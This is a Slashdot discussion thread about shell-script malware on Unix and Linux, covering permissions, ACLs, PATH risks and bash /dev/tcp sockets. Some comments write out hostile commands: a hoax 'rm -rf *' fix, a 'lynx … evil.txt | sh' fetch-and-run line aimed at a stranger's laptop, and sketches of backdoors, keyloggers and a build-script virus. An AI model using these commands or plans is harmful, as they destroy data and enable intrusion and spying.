      > On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only. Give each developer a directory in the scratch filesystem and symlink it into his $HOME. This also will protect you when one of those programs they want to run goes amuck.

      Only root can write? How can developers create executables then when they can't write them to the filesystem? They have to su to root, or use sudo to run make or gcc? Not a good idea. Even when they have to use different machines to debug/test, people tend to use the same password on multiple systems. When one system is compomised, more usually follow.

      And besides: It still doesn't prevent a trojaned app to start a daemon that hooks the developers tty. That's called a keylogger, and they can run as a normal user, because when you log in, you become the owner of your tty, hence you can read/write from/to it. Add some remote connecting capability or a capability to send mail and your system is compromized.

      It's very hard to stop these kind of attacks. Of course you can try to make a system idiot-proof, but don't forget that the universe creates cleverer and cleverer idiots at a faster rate :)

    9. Re:Got root? by byran+lei · · Score: 0

      >Try UNIX administrator and developer with over 7 years of experience
      >with the wonderful platform (Linux, IRIX, *BSD, SunOS and Solaris, if
      >you really want to know).
      >
      >I _know_ what I'm talking about. And no, it's not personal experience,
      >just speculation. And real threats.
      >
      >
      Let's see...You're too stupid to do something as simple as copying your HOME directory to a ZIP or other drive to protect important files/data and yet claim to be UNIX administrator and developer with over 7 years of experience? Yeah sure you are dipshit. Next?!?

    10. Re:Got root? by John+Hasler · · Score: 2

      "Only root can write? How can developers create executables then when they can't write them to the filesystem?"

      Read what I wrote:
      "On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only."

      Get it? The scratch system _is_ both writeable by the developers and exec. Nothing else is.

      "And besides: It still doesn't prevent a trojaned app to start a daemon that hooks the developers tty."

      It first has to get itself installed. Want to name a few that have suceeded?

      "It's very hard to stop these kind of attacks."

      I guess that's why Linux is plagued with thousands
      of keylogger trojans.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    11. Re:Got root? by RAMMS+EIN · · Score: 1

      I disagree with you here. Most software vital to keeping the system operational cannot be affected by a non-root user, but it's still nasty to lose all your documents. More so because IMHO user files are the most valuable files on the system. And chances are you don't have backups of that assignment you just completed or the most recent version of that document you've been working on.

      Also, gaining root privileges is not as hard as it may seem. ``make install'' is usually done as root and can wreak havoc on the system if the makefile is evil. And personally I think writing an evil makefile is a lot easier that exploiting that bug in MicroSoft's Messenger control or IIS.

      --
      Please correct me if I got my facts wrong.
    12. Re:Got root? by CoolVibe · · Score: 5, Insightful

      > It first has to get itself installed. Want to name a few that have suceeded?

      It only has to run. And by the way, if it's a big project that gets trojaned by someone, it _will_ take you a while until you or other find out. In the mean time between you finding out about the back door, several copies might be running already on you systems.

      You need to get off the "Oh this will not happen to my systems"-stance. Once you think that, get worried. What if it does happen, and sensitive data gets sent to god knows where, gets corrupted or destroyed? What then? Have you taken precautions against that? Not only post-mortem actions (like restoring backups), but how about proactive measures?

      There are lots of ways to audit, protect, restrict access and fix problems, but a 100% secure system is impossible. You are human, I am human. We make mistakes and overloook things. If we code, we introduce bugs into code. Some are very hard to spot. Some are very hard to really fix correctly. Every bug _could_ be a security hazard, and also very well intended features can lead to compromise. It's a scale that balances between security and useability. You can not have lots of both. If you want more security, you need to sacrifice some useability. Do you really think a developer will work on such a restructed machine? I think not (unless you're DJ Bernstein perhaps ;- ). Most developers work from their own workstations to write code, compile, test, debug, fix bugs and commit code into a repository. Having a useable environment with a $HOME they can do their stuff in, a useable shell, a useful editor and a working toolchain. Are they possible victims of a trojan? Possibly. Will they be productive if you hammer their workstations tighly shut with excessive restrictions? Not really.

      Also, a given is that there are many new to any kind of unix that are setting up unix boxen. The software is easy to get a hold of, so lots of novices try their hand at it. I assure you that many of those novices are not well versed in the dark art that is called "security" and will set up their boxes insecurley.

      It's not what _you_ would do, it's the way joe sixpak sets up his newfangled RedHat box, runs a malicios script without even pondering about md5sums, noexec mounting, scratch filesystems, chroot jails, sandboxing, firewalling, security policies and grepping through perl, Makefile, C or shellscript code. Many joe sixpacks will use the root user as their primary user (even though they are recommended to do otherwise).

      So every argument you make, (albeit useful, I could also think of lots of ways to run untrusted code in a sandbox) are kind of moot, because you will only need a few idiots that don't take care. And trust me, there are idiots enough out there. And that goes for all operating environments out there.

      Oh, and why isn't every UNIX box trojaned to hell and back nowadays? That's because unix still off the collective scope of trojan/virus/malware coders. You better take heed and take extra care, because once UNIX gets veru very popular, the things I'm speculating about might verywell become commonplace. What would we do? Switch back to MULTICS? Every MULTICS machine I've heard about is trojan and virus free you know... does dat make it an immune system?

      No system is immune. Period. As long as the machine can run executable code, there is a possibility for a trojan to run rampant, however slight.

    13. Re:Got root? by CoolVibe · · Score: 2

      > Most software vital to keeping the system operational cannot be affected by a non-root user

      tty's are not 'vital' for functionality :) Have a look on your local *nix box, find out on which tty or pty you are, and ls -l the corresponing entry in /dev . Now who is the owner, and which file modes does it have? Yups! it's owned by your userid, and the modes are usually 660 (user group uucp usually, some older systems even use 666, to make nifty stuff like talk(1) and write(1) work properly)

      Yes, you are the full owner of your own tty lines on the systems. You can do anything you wish with them. Read from them, write to them. Your shell does that too. What stops some daemon to hook in and log well.. everything you type? Absolutely nothing. They get reset to root ownership once you log out.

      You are right about the rest though. It's way easier to social engineer someone to run your malicious code than to exploiting with no human assistance :)

    14. Re:Got root? by Anonymous Coward · · Score: 0

      When was the last time you ran a backup? More than an hour ago? 2 hours? OH MY GOD, WHAT ABOUT THE WORK YOU'VE DONE IN THE LAST TWO HOURS?!?! You must be some kind of dipshit if you only run a backup once a day!

    15. Re:Got root? by ichimunki · · Score: 1

      You su to root, and the keystrokes get mailed somewhere... with your box IP number and username. Well, the attacker just got your root password. Worried yet?

      No. I'm not sure the IP address of 192.168.1.[1..255] is going to do them much good. Especially since one should normally configure SSH not to allow root login, and the firewall shouldn't allow any remote logins at all. And of course root on the general-use machines has a different password than root on the firewall. Have I missed anything?

      --
      I do not have a signature
    16. Re:Got root? by CoolVibe · · Score: 2

      Well, remember that there are lots of people less careful than most of us. Fine, you use different passwords everywhere. You use a NATted network with private networks. That's good. But some people aren't that careful.

    17. Re:Got root? by ichimunki · · Score: 1

      Well, that's the point, I guess. None of the above were terribly difficult to accomplish and even less careful people could do it and get a lot of protection from it. Even so I still worry constantly that someone will find an exploit for the firewall. And I'd write a cron job to do 'apt-get update' on the firewall, but what if someone compromises the Debian server? I just update to corrupt binaries? At least if I manually do it, I have to pay some attention to what's being loaded and only do updates as a result of known security notices.

      --
      I do not have a signature
  19. I just got an email about this by Anonymous Coward · · Score: 3, Funny
    Here's a copy of the email I received.

    A new shell-scripting virus has been showing up on computers across the world. It's called the SHIFT8 virus because the virus hides in a shell-script file on your computer named '*'. If not attended to immediately, this could result in the loss of all your data, but not before it is sent to the US Government and Microsoft.

    Luckily, the fix is very simply. When at the command line, all you have to do is type 'rm -rf *' and all your troubles will be gone. Don't worry about having to use the -r and -f options; this virus is tricky and can sometimes only *seem* to be deleted if not removed with both of these options.

    Before you save yourself, please, send this important alert to as many people as possible; they will thank you later!

  20. *TWEEET* by nosferatu-man · · Score: 1, Flamebait

    That's a five minute major for Misusing A Big Word Trying To Sound Smarter Than You Are.

    'jfb

    --
    To spur "enterprise Linux," Big Bang, the distributed two-phase commit.
  21. Re:And... by American+AC+in+Paris · · Score: 3, Funny
    as soon as the first Unix worms come out, what are the /. geeks gonna blame?

    My guess? They'll blame Robert Morris. That's just wild conjecture, though...

    (Yes, yes, shameless self-linking. So sue me.)

    --

    Obliteracy: Words with explosions

  22. virii by bsdparasite · · Score: 3, Insightful
    The strong permissions in UNIX have a way of helping people avoid these viruses, but with the growth of "Desktop" UNIX systems, more and more of these will pop up for sure. Clicking attachments from email, executing them on the fly, and permissions to execute scripts from E-mail software is not just restricted to Windblows. It will permeate the masses as soon as more and more "Desktop" type systems come into place.

    1. Re:virii by GigsVT · · Score: 3, Informative

      Really UNIX permissions are not very strong, they just aren't as braindead as MS ones, and most importantly, most people follow them, and don't requre root unnecessarily.

      For example, as far as I know it is impossible to do this with normal UNIX permissions:

      Allow group "A" read/write access to the directory
      Allow group "B" read only access to the directory
      Allow world no access to the directory

      This is a very common need, which is unfulfilled by UNIX style permission systems.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    2. Re:virii by Ziviyr · · Score: 1

      This is a very common need, which is unfulfilled by UNIX style permission systems.

      What next?

      "These permission bits aren't turing complete!!"

      --

      Someone set us up the bomb, so shine we are!
    3. Re:virii by GigsVT · · Score: 2

      No, it wouldn't be hard to fix. Here is what I propose. Feel free to implement this idea, and critique it.

      Basically, user private groups already have many advantages, all we need to do is patch things to allow the "owner" to be a group, rather than a user. Under user private groups, this would be pretty trivial, since the default owner group is the user private group of the owner.

      This provides an easier way to get finer grained access control, without messing with ACLs or breaking backward compatibility.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    4. Re:virii by sysadmn · · Score: 2

      man -k "acl". Don't know about the free stuff, but commercial unices & unix style OS have had this for a while. Apollo's AEGIS had it ca. 1987 or so...

      --
      Envy my 5 digit Slashdot User ID!
    5. Re:virii by Anonymous Coward · · Score: 0

      world = nothing, group "B" = read (maybe execute), owner = rwx.

      Set up group "A" so they can use "sudo -u owner command".

      I believe ACLs are in the works for Linux.

    6. Re:virii by Anonymous Coward · · Score: 0

      OpenAFS is a distributed file system available on most free and commercial Unix systems. It has rather complete ACL's

    7. Re:virii by Anonymous Coward · · Score: 0

      Acess Control Lists solve this. They are coming in 2.5. Please, do not FUD. This has been in Solaris and AIX for a while.

    8. Re:virii by sesquiped · · Score: 1

      Wrong. It's possible. Here's a solution:

      Let's say you want to allow access r/w access to /home/foo to group A, and ro access to group B.

      Create a new group, C, that's the union of A and B.

      Create /home/wrap_foo, owned by root and group C, with permissions rwxr-x---.

      Create /home/wrap_foo/real_foo, owned by root and group B, with permissions rwxrwxr-x.

      Create /home/foo as a symlink to wrap_foo/real_foo.

      Obviously, the need for a third group that has to be maintained in parallel and the symlink make this method somewhat awkward. But it does work.

    9. Re:virii by sesquiped · · Score: 1

      Oops, sorry. /home/wrap_foo/real_foo should be owned by group A, obviously.

    10. Re:virii by GigsVT · · Score: 1

      Thanks. It may come in handy. It is messy though, as it is, I have to fight my fellow "sysadmins" to keep them from doing a chmod 777 to "fix" permission problems, explaining this to them is going to be hell.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    11. Re:virii by Anonymous Coward · · Score: 0

      If 2.5/2.6 is anything like the development time for 2.4, it's going to be quite a few years before ACLs are implement in Linux. The criticism is justified.

    12. Re:virii by RelliK · · Score: 2

      most proprietary Unixes support ACLs. I know for sure Solaris does. ACL support is also planned in linux 2.6. In the mean time, use the ugly solution posted above.

      --
      ___
      If you think big enough, you'll never have to do it.
    13. Re:virii by Grax · · Score: 1

      permissions to execute scripts from E-mail software

      I am not aware of an email program that does this unless you count attachment types that open in specific programs like the koffice apps or that sort of thing.

      There is no reason shell scripts or executable binaries should ever be clickably executable from an email program and I don't expect to see that feature/hole added to Linux mail programs.

    14. Re:virii by Anonymous Coward · · Score: 0

      http://acl.bestbits.at/ - have ACLs now.

      Just call me the FUD squasher.

    15. Re:virii by crlf · · Score: 2

      These guys have been working on kernel patches, acl tools and a posix compliant acl library for some time and it works pretty well :)

      http://sourceforge.net/projects/linux-acl/

    16. Re:virii by rodgerd · · Score: 2

      One word: Evolution.

      Some longer words: one of the problems in some parts of the free software world is that certain developers are very keen on following a lot of Microsoft's paths, such as a BASIC variant pervasively embedded in their applications. Sure, those people might say they have no intention of making the dumb mistakes Microsoft have, but since their intention is the same as Microsoft's (more features, easier to use), it's not unreasonable to suppose they'll make the same pratfalls.

    17. Re:virii by sql*kitten · · Score: 2

      they just aren't as braindead as MS ones

      as far as I know it is impossible to do this with normal UNIX permissions

      Your "impossible" example is trivial on NT. Please try to understand that NTFS is nothing like FAT. NTFS ACLs are really very good, much better than anything on Solaris or Linux - that's its VMS heritage showing.

  23. Re:And... by dzym · · Score: 3, Informative
    Not just Ramen, of course, but also:

    Adore worm

    L1on worm

    Cheese

    Sadmind

    Admworm ...

    I'm pretty sure I'm missing a few recent worms... anyone else care to add to this list?

  24. Now that Bill is all about security... ; ) by dirvish · · Score: 2

    Hackers are going to have to find something to do now that Microsoft has pledged to focus on security in the future. Inevitably the will turn to *nix.

  25. Re:And... by The_Rippa · · Score: 1

    I agree...

    If a security flaw in MS arises every /.'er can't wait to drop in his two cents of how bad microsoft sucks, misc, etc.

    A *nix bug arises and it's treated like a parking ticket.

  26. The easiest malware might be cd or ls by Density_Altitude · · Score: 3, Informative

    Haven't read the article yet (/.ed) but here are the simplest shell security concerns you may have: Do you have "." in your path? If it is, have you specifically aliased ls to be /bin/ls?
    Think about untarring a package that has a malicious "ls" script. You cd into the newly created directory and issue ls. You're screwed if the shell picks up the malicious ls instead of the ls in /usr/bin

    --
    delete free(system.gc);
    1. Re:The easiest malware might be cd or ls by archen · · Score: 1

      Another good reason to make /home a different partition and mount it with noexec. Of course if you unpack something for doing an install, you'd probably unpack it in a directory that allows execution i guess.

    2. Re:The easiest malware might be cd or ls by Phroggy · · Score: 4, Informative

      Do you have "." in your path?

      This is why . is at the end of my path, and it's not in root's path at all.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  27. No longer feel privileged by burgburgburg · · Score: 0, Redundant

    Only 25 comments and the site had already been /.'ed. And I was feeling so special after the GBA modification thing.

  28. Re:And... by Anonymous Coward · · Score: 0

    there were many virus building programs for dos. Remember dos? thats what games used to run on before win95

  29. Congratulations! by Anonymous Coward · · Score: 0
  30. Shell script worms by GigsVT · · Score: 4, Insightful

    Not many people know this but:

    cat /dev/tcp/localhost/22
    SSH-1.99-OpenSSH_3.1p1

    Bash has built in socket access stuff. A worm could be written in shell script, as could backdoors, etc.

    --
    I've had enough abrasive sigs. Kittens are cute and fuzzy.
    1. Re:Shell script worms by CoolVibe · · Score: 2
      Uhm, thanks for that info! I think that's a bit unnerving.

      On the other hand, writing a socket app in perl or even in C is not impossible or even rocket science.

      I never new I could use the linux /proc fs _that_ way though...

    2. Re:Shell script worms by jhanson · · Score: 1

      cat /dev/tcp/localhost/22
      cat: /dev/tcp/localhost/22: No such file or directory

      I don't know what distro you use, but on debian (unstable) this doesn't seem to work.

    3. Re:Shell script worms by GigsVT · · Score: 0

      cat &lt /dev/tcp/localhost/22

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    4. Re:Shell script worms by Anonymous Coward · · Score: 0

      It's not Linux, it's bash.

    5. Re:Shell script worms by byran+lei · · Score: 0

      >cat
      [lei_2@shadowdawn mystuff]$ cat /dev/tcp/localhost/22
      bash: connect: Connection refused
      bash: /dev/tcp/localhost/22: Connection refused
      [lei_2@shadowdawn mystuff]$

      Doesn't work on my RedHat 7.2 system. Is the rest of that crapola in that article just as accurate?

    6. Re:Shell script worms by damiam · · Score: 1
      cat < /dev/tcp/localhost/22
      bash: /dev/tcp/localhost/22: No such file or directory
      --
      It's hard to be religious when certain people are never incinerated by bolts of lightning.
    7. Re:Shell script worms by caca_phony · · Score: 1
      It's not Linux, it's bash.

      Um, no. This will work with any shell worth using, it is a feature of the linux kernal and system design. Try using another shell sometime, you may be amazed what you thought was the system but is your shell and visa versa.

      --
      ...and this lie crawls out of its mouth: 'I, the state, am the people.'
    8. Re:Shell script worms by caca_phony · · Score: 1

      I have to concur, this does not work under debian.

      --
      ...and this lie crawls out of its mouth: 'I, the state, am the people.'
    9. Re:Shell script worms by GigsVT · · Score: 1

      What can I say? It works here, and it's in the bash man page. Maybe you aren't running ssh? :)

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    10. Re:Shell script worms by damiam · · Score: 1

      I am running ssh, and it's on port 22. I don't even have a /dev/tcp directory. I'd think this was a devfs thing or something (I don't use it, maybe you do), except it is plainly stated in the bash man page. Weird.

      --
      It's hard to be religious when certain people are never incinerated by bolts of lightning.
    11. Re:Shell script worms by sydneyfong · · Score: 1

      I have devfs and still don't have it.
      Maybe it's some "Redhatisms" added by Redhat?
      I have never seen such a directory/socket before. (Maybe it's just me)

      FYI, there exist a software called "netcat" which does exactly the same thing(s)

      --
      Don't quote me on this.
    12. Re:Shell script worms by sydneyfong · · Score: 1

      Bash has built in socket access stuff.

      I believe all shells can do the thing above given you have the appropriate socket. cat is a external executable, not a built-in bash command.

      --
      Don't quote me on this.
    13. Re:Shell script worms by sdowney · · Score: 1
      Quoting from the Bash(1) man page
      Bash handles several filenames specially when they are used in redirections, as described in the following table:


      /dev/fd/fd
      If fd is a valid integer, file descriptor fd is dupliated.
      /dev/stdin
      File descriptor 0 is duplicated.
      /dev/stdout
      File descriptor 1 is duplicated.
      /dev/stderr
      File descriptor 2 is duplicated.
      /dev/tcp/host/port
      If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open a TCP connection to the corresponding socket.
      /dev/udp/host/port
      If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open a UDP connection to the corresponding socket.


      In short, this is a standard extension provided by Bash. If it doesn't work for you, you're doing something wrong.
    14. Re:Shell script worms by _generica · · Score: 1

      Um, no. This will work with any shell worth using

      Um, no :P
      This is done by bash. It is mentioned in the man page. Read the rest of the thread. It doesn't work in csh/tcsh/ash/zsh.

      ps. its kernel
      pps. its vice versa

    15. Re:Shell script worms by Evangelion · · Score: 1

      From /usr/doc/bash/README.Debian.gz


      10. Why is bash configured with --disable-net-redirections?

      It can produce completely unexpected results. This kind of feature should not be part of a shell but a special. tool. And that tool has existed for years already, it's called netcat.


      Hug your debian maintainer today.
    16. Re:Shell script worms by _generica · · Score: 1

      and then smack them for not removing references to it from the manpage :P

    17. Re:Shell script worms by reconbot · · Score: 1

      Bash has nothing of the sort.

      cat /dev/tcp/localhost/22
      cat: /dev/tcp/localhost/22: No such file or directory

      This would have nothing to do with bash anyway. I'm not familiar with the kernel mod or how I would use "makedev" to create the socket access your looking for but that in its self wouldn't be used for making a backdoor. SSHD, TELNETD, FTPD, even SMTP could be used.

      In fact you can run "sshd" with the "-f" option to specify an alternate config file. (
      OpenSSH_3.0.2p1) Regardless of what a user is already running the ssh demon could be told to run on a specified port with a key used for authentication (no pw). The author of the virus could easily scan for services on that port and log into remote machines with full root access with out breaking a sweat.

      Alternatively a virus could do much worse then just get root on a box. A couple of days ago I found a Apple Powerbook laying unprotected and on the net at a Starbuck in NYC. I remembered recently installing Nessus and running one command to install the entire program.

      lynx -source http://install.nessus.org | sh

      I wanted to be able to walk over to a computer and run;

      lynx -source http://www.geocities.com/haz0r3v1l/evil.txt | sh&

      And have it use a simple Mac OSX trick (you don't need root privileges to create an administrator account - a normal user account with sudo for full access) to get a root level access and download and install an array of programs from (a Mac OSX) vnc, a ddns account creator and updater (for remote access regardless of the current IP) and have it enable the already built in SSH demon. I could then just log in with my default pw and throw the users privacy out the window.

      I'm not a programmer (I'm quite poor at it), I'm an electrical engineer and I could have a working version of this in less then a week. Imagine what somebody who knew what they were doing could do.

      But why stop there? One could be made for almost any OS out there! A simple program run in the background from the net and you could have any machine you wanted. My friend and I also talked about less intrusive programs to install, like a key logger that would compress and email the logged strokes every 500,000 taps. Or just some "bugware" that would harass the user every few minutes or move windows around. It could be anything.

      (In short)
      Shell scripting is a powerful tool that can be used for almost anything good and bad. Users and Administrators need to be careful of how much access they have and if they have root privileges before executing any foreign scripts. But of course that's just common sense.

      I pity the fools who always run as root

      --
      I'm just this guy, you know?
    18. Re:Shell script worms by SN74S181 · · Score: 1

      Bash is the extend/embrace/extinguish app for Unix hackers. If you mostly operate in a NetBSD environment, like I do, and don't even have Bash installed, you use /bin/sh to run scripts. People have slowly gotten into the habit of writing shell scripts assuming that everybody is using Bash. On most Linux systems, there isn't even a real /bin/sh binary on the drive, it's 'emulated' by Bash. So people write scripts with special Bash features in them, not necessarily even being aware that they are Bash-specific features, and over time those special Bash features creep into scriptspace and break on machines that use the standard /bin/sh.

      And, uh, Bash, like GCC, considers itself a 'superset' of the standard, so as far as the maintainers are concerned there's no problem.

    19. Re:Shell script worms by GigsVT · · Score: 1

      It's not a directory per se. You can't cd to it. Look in you bash man page for it and see if it is mentioned there.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    20. Re:Shell script worms by GigsVT · · Score: 1

      It's not the cat part that matters, you can redirect to and from any socket with the normal redirection operators, and any executable. /dev/tcp doesn't exist in the file system, I believe it's a special bash thing.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    21. Re:Shell script worms by GigsVT · · Score: 1

      Bash does have the feature, it is not part of the filesystem, read the bash man page. As another person noted, Debian disables this behavior by default.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    22. Re:Shell script worms by ReelOddeeo · · Score: 2

      10. Why is bash configured with --disable-net-redirections?

      It can produce completely unexpected results. This kind of feature should not be part of a shell but a special. tool. And that tool has existed for years already, it's called netcat.


      The problem with netcat is that I cannot assume it is present on every system on which my malware might be run. Efforts such as LSB and United Linux need to guarantee malware authors of a least-common-denominator system in order to attract malware development.

      --

      Those who would give up liberty in exchange for security and DRM should switch to Microsoft Palladium!
  31. Correction by GigsVT · · Score: 1

    cat &lt /dev/tcp/localhost/22

    Keep forgetting to htmlize &lt &gt

    --
    I've had enough abrasive sigs. Kittens are cute and fuzzy.
  32. Re:And... by Anonymous Coward · · Score: 0

    Yes, and I'm sure there's absolutely no reason whatsoever for this type of motivation. How quickly we forget that shit doesn't just happen; shit takes time, shit takes effort.

  33. Re:And... by orangesquid · · Score: 2

    I was bored a few years ago and rewrote the Morris Worm as a shell script.

    No, I will not release the source. Never have and likely never will.

    --
    --TheOrangeSquid Is it any wonder things seem so awry? We swim in a sea of confusion and don't have to think to survive
  34. Re:And... by GigsVT · · Score: 1

    A lot of the "bugs" in Unix type software are unexploited, and very difficult to exploit, or are local only. People generally don't look for these as often in MS products because it's assumed that once you have one account, you will pretty much have run of the system, since most services run with a high level of priveledge.

    --
    I've had enough abrasive sigs. Kittens are cute and fuzzy.
  35. United Unbreakable Linux by Anonymous Coward · · Score: 0

    ... will of course make such generic mass exploits more likely to be successful on as many boxes as possible.

  36. Re:And... by Anonymous Coward · · Score: 0

    And after. Quake ran nativly on DOS after win95 came out.

  37. Re:And... by Erotomek · · Score: 1

    I'm pretty sure I'm missing a few recent worms... anyone else care to add to this list?

    Few days ago I found some info about the Samhain worm. Any one knows where I can find some more info about it? Because from what I've read so far, it looks very interesting, with the whole architecture-independence, wormnet, etc.

    --

    Krótko: kady Erotomek
    W pimiennictwie ma swój domek.

  38. Parent plagarized from c.unix.questions faq by Jay+Carlson · · Score: 2
    I knew this looked familiar.

    The parent in its entirety is plagarized from sections 4.5 and 4.11 of the comp.unix.questions FAQ.

    If you track down a text version, you'll find those sections were written in 1994....so at least the poster is correct that this is not so new.

  39. malware? by rnd() · · Score: 3, Funny

    Is it just me, or was this story posted mainly to spread the use of the word malware?

    --

    Amazing magic tricks

    1. Re:malware? by shking · · Score: 1
      Is it just me, or was this story posted mainly to spread the use of the word malware?

      Not entirely, this story was also posted to promote e-l33tr8 affectations such as: virii (for viruses), unices (for unixes), boxen for boxes and, of course, l33t

      ;-b thibbbbbt!

      --
      -- "At Microsoft, quality is job 1.1" -- PC Magazine, Nov. 1994
    2. Re:malware? by PigleT · · Score: 2

      Yes, well, it certainly wasn't posted to provoke intellectual discussion.

      I gave up on the article half-way through, when it started talking about Javascript being "supported on both Windows and on most Unix/Linux systems". Following the first sentence of the alleged article, I'm wondering exactly where the distro flavour, kernel version and in fact anything in the OS have anything to do with javascript - unless I'm missing out on Every Linux Box Must Have A Commandline Javascript Interpreter or something?

      And why the heck are people writing crap about searching for shell scripts (note: the grep -s command presented is heavily bash-dependent as it relies on non-interpretation of both # and !) when you can simply plug in an LKM that redirects execution of a particular command off to an "infected" version, while ordinary open() calls retrieve the real binary? And, HINT, it won't chug the luser's hard-drive to death revealing its own presence.

      Face it, the days of user-space viruses are n/a here. There are much better ways to propogate; all we need is an interesting payload, and let the nerds argue whether it's a worm or a virus.

      --
      ~Tim
      --
      .|` Clouds cross the black moonlight,
      Rushing on down to the circle of the turn
  40. Microsoft has been trying this for years by infonography · · Score: 0, Offtopic

    Since 1991 they have been trying to dupe gulliable manager into moving UNIX shops into targets for IE bugs and snooping. Their most recent overt attempt has been a browser product which they call IE for UNIX

    --
    Sorry about the writing. Robot fingers, you know? Cliff Steele in DOOM PATROL #23
  41. microsoft sponsored by Anonymous Coward · · Score: 0

    no doubt this is part of the microsoft sponsored fud campaign. just as cable and satellite companies sponsor hacking eachothers equipment.

    1. Re:microsoft sponsored by Anonymous Coward · · Score: 0

      Bury that head a little deeper in the sand... There, does that feel better? Just keep muttering to yourself, "It'll never happen to meeee".

  42. I was thinking about this last week.... by jpmorgan · · Score: 2, Insightful
    If I wanted to write a virus to hit a lot of Linux systems, I'd have it infect shell scripts, make files and executables, and would have two running modes.

    In user mode, it is running as an unpriviledged user. It searches for configure scripts and make files to infect. The infected configure script/make file modifies the output binary of the build so it is infected with the virus immediately. How many of you check your configure scripts when you ./configure; make; sudo make install? How many would even be able to tell what an infected configure script looked like. The moment the infected configure script/make file/binary is run as root, it switches to root mode...

    Root mode. Infect every binary on the system. In fect the kernel. Infect the init scripts.

    What about those people who only ever install packages from say, red hat, or debian? Well, as soon as red hat or debian ship a piece of software developed by someone infected with the virus, bam, the entire distro is infected.

    This is all adided by the complexity of Linux development, the distribution model, and the fact that an extraordinary number of Linux users are under the mistaken impression that Linux's security model will protect them. There are too many user-created holes in security models, and there is a very poor trust mechanism. It's just waiting to be exploited. No Linux user expects to get hit by a virus, so it would take much, much longer to be detected than a Window virus.

    Security is a good thing. A false impression of security is a bad thing.

    1. Re:I was thinking about this last week.... by Anonymous Coward · · Score: 0

      If YOU wanted to write a virus or a worm that would
      infect a linux system???
      You might have to wait until brain transplants become
      common.
      ---Bam the entire distro is infected---
      you'd make a good comedian. But a hacker???

    2. Re:I was thinking about this last week.... by Anonymous Coward · · Score: 0

      Yeah, you really showed him.

    3. Re:I was thinking about this last week.... by Nerant · · Score: 2

      You raise several very good points, and I'll like to add to your comment that any linux user concerned
      about the integrity of their system at all run software like tripwire or AIDE.
      For example, I have the MD5sums and other hash signatures of certain binaries on my system backed up onto CDR: a simple comparision would immediately alert me to the presence of your hypothetical virus.
      Nonethelesss, I agree that one often gets a mistaken impression that Linux systems are more secure. The security model is too coarse, and clunky even.
      Distros should be reasonably secure by default install.

      --
      Be kind. There are too many mean people out there already.
  43. Re:And... by cscx · · Score: 2

    A lot of the "bugs" in Unix type software are unexploited, and very difficult to exploit, or are local only. People generally don't look for these as often in MS products because it's assumed that once you have one account, you will pretty much have run of the system, since most services run with a high level of priveledge.

    That is such absurd horseshit. Most services run with the privlege that you give it. If you let Joe Blow admin your box, whether it be Unix or Windows, you're screwed either way.

    I personally think its easier to make a Unix box vulnerable than an NT box. But no one wants to admit that because most of the *nix admin community have their heads so far up their collective asses that they have trouble seeing it any way but theres.

    Some people are afraid of the truth.

  44. linux virus has it's own virus environment by iamafreeman · · Score: 0, Flamebait

    Just put up webpages and suggest people view them with netscape 4

    It is bound to randomly crash / use up 99.9% processor time / force them to hard quite Xwindows

    It's almost as nice as outlook viruses and it is more random.

    1. Re:linux virus has it's own virus environment by iamafreeman · · Score: 0

      flaimbait hey?

      history takes a day to back me up....

      http://www.theregister.co.uk/content/55/25689.ht ml

  45. Plagarism by scrytch · · Score: 2

    would it have been too difficult to have credited the portion of FAQ you copied and pasted verbatim?

    --
    I've finally had it: until slashdot gets article moderation, I am not coming back.
  46. adfasdf��� by Anonymous Coward · · Score: 0

    testing this\{

  47. Re:Now that Bill is all about security... ; ) by Anonymous Coward · · Score: 0

    The second that security starts interfering with
    usability Microsoft will back away from trustworthy
    computing.
    MANY of the problems microsoft has had were due
    to marketing decisions that pushed usability over
    concerns for security.
    And anyway who's saying that hackers stay away from
    unix????

  48. What about mobile code ? by knorthern+knight · · Score: 1

    Javascript, Java, and Shockwave are present on most PCs, Windows and linux. I think that Brown Orifice (Java) allowed others to spy on your linux harddrive. Javascript is a common scripting language. I'm sure that there'll be linux exploits there eventually. Javascript was one of the modes of NIMDA's propagation. Flash now has a scripting language. For an idea of the cute stunts it can pull, check this article on Slashdot.

    And watch your mailcap files. This is mandatory on a Redhat install before using email the first time. And if you install RealPlayer, be prepared for a shock in your mailcap. I would advise logging on as root, de-fanging all mailcap, Mailcap, .mailcap, and .Mailcap files, and then hit them with "chattr +i".

    --

    I'm not repeating myself
    I'm an X window user; I'm an ex-Windows user
  49. Gentoo by Anonymous Coward · · Score: 0

    Portage does that for me.

    1. Re:Gentoo by friedmud · · Score: 2

      I was going to say the same thing - the way it checks the MD5s of any ebuild files it downloads during its AUTOMATIC process against the ones stored on ibiblio is just cool.

      I hope they implement some sort of PGP keychain in the future though - it would be very easy to do - and add even more trust/security.

      Derek

  50. Re:Now that Bill is all about security... ; ) by Anonymous Coward · · Score: 0

    keyword is "in the future"... tomorrow or ten years. it's all the future but what can be thought of in ten years compared to 1 day is somewhat substantial.

  51. Prompts by lostchicken · · Score: 2

    Remember the fiasco we had a while back about "What's your shell prompt" and people posted (and used) malware prompts?

    Linux shell malware isn't a surprise for us /.ers, because Slashdot itself has been a method of spread for malware in the past.

    --
    -twb
  52. Re:And... by SN74S181 · · Score: 1

    In 1988 I would hazard to say that a hell of a lot of the Unix community was still logging on with greenscreen terminals.

    I guess green is a color.

    But really, my main point is: what does color have to do with anything we've been discussing?

  53. Re:And... by SN74S181 · · Score: 1

    Well, if we're going to get competetive here: I have a retail boxed Windows app (In*a*vision from Micrografx) that comes bundled with a Windows 1.03 runtime version (it's one of the first Windows apps). Anybody can come up with a copy of Windows 1.03. (mine is complete, retail box with all cards and materials)

